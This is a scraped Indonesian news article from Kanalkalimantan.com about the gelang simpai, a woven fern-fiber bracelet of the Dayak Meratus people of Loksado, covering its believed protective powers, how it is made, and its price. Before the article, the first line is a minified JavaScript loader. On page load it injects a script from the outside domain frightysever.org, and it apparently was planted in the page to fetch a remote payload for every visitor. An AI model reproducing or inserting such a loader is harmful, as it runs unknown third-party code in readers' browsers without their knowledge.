(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KANDANGAN – Salah satu yang unik ketika berkunjung ke pedalaman Meratus, Kalimantan Selatan (Kalsel), kita bisa membawa cendera mata berupa gelang simpai. Dulunya, dari cerita para tetua adat setempat, tidak sembarangan orang bisa membuat gelang simpai suku Dayak Meratus. Sebab dipercaya mengandung unsur-unsur magis.
Gelang simpai merupakan gelang khas Kalimantan yang langsung dianyam langsung di tangan orang yang ingin memakainya. Biasanya dibuat oleh balian (ketua adat) dayak yang biasa memimpin upacara/aruh adat dayak.
Menurut salah satu pemuda dayak yang juga pengrajin gelang simpai, Ibnu Iberahim, gelang simpai dipercaya oleh masyarakat dayak mengandung kekuatan magic seperti menolak (Parangmaya) atau sihir dan juga ilmu hitam.
Baca juga: Pasca Puting Beliung di Penggalaman, Warga-Babinsa Gotong Royong Perbaiki Rumah
“Selain itu juga dipercaya oleh masyarakat setempat untuk menolak seperti gangguan dari roh-roh jahat yang ada di hutan/ alam Meratus, menetralisir racun atau toxin lewat pori-pori tubuh, menambah keberanian pada pemuda-pemuda dayak,” terangnya kepada Kanalkalimantan.com, Sabtu (19/6/2021)
Ibnu Iberahim mengatakan, gelang simpai juga dipercaya sebagai simbol persaudaraan yang erat bagi masyarakat dayak Meratus Loksado. Karena bahan yg digunakan untuk membuat gelang simpai merupakan satu kesatuan yang tak terputus.
Selain bisa dijadikan cendera mata alternatif jika berkunjung ke Kecamatan Loksado Kabupaten Hulu Sungai Selatan dan Desa Tanuhi, Loksado, Kabupaten Hulu Sungai Selatan, Kalimantan Selatan.
Gelang simpai ini terbuat dari tumbuhan serat pakis atau biasa disebut (Alang Am) yang bahan bakunya hanya bisa ditemukan di lereng Pegunungan Meratus, Loksado.
Untuk pembuatan gelang simpai sendiri terbilang cukup rumit dan membutuhkan waktu sekitar 15 menit, bahkan hingga hitungan jam, tergantung dari tingkat kesulitannya.
Proses pembuatannya disesuaikan dengan pergelangan tangan si pemakai, sehingga sulit untuk dipindahtangankan dan secara langsung dibuat ditangan pemakainyan.
Bagi Suku Dayak Meratus anyaman simpai ini dulunya hanya sebagai aksesoris Mandau, yang memiliki tingkatan, yakni semakin tinggi simpai yang dibuat, semakin tinggi pula kemampuan sang pemilik dalam menggunakannya.
Baca juga: Waspada Kasus Covid-19 Delta, Kalsel Perketat Jaga Perbatasan!
Seiring perkembangan zaman, anyaman simpai mulai bergeser fungsinya menjadi aksesoris seperti gelang dan cincin untuk cendera mata. Ketika orang menggunakan gelang Simpai pertanda pernah menginjak Pegunungan Meratus Loksado atau perkampungan orang Dayak.
Untuk harga perbuahnya bisa dibilang sangat terjangkau sekitar Rp20.000-an dan kita juga bisa membeli yang sudah jadi atau juga langsung minta anyamkan ditangan kita langsung.(Kanalkalimantan.com/shintia)
Reporter: shintia
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More
This website uses cookies.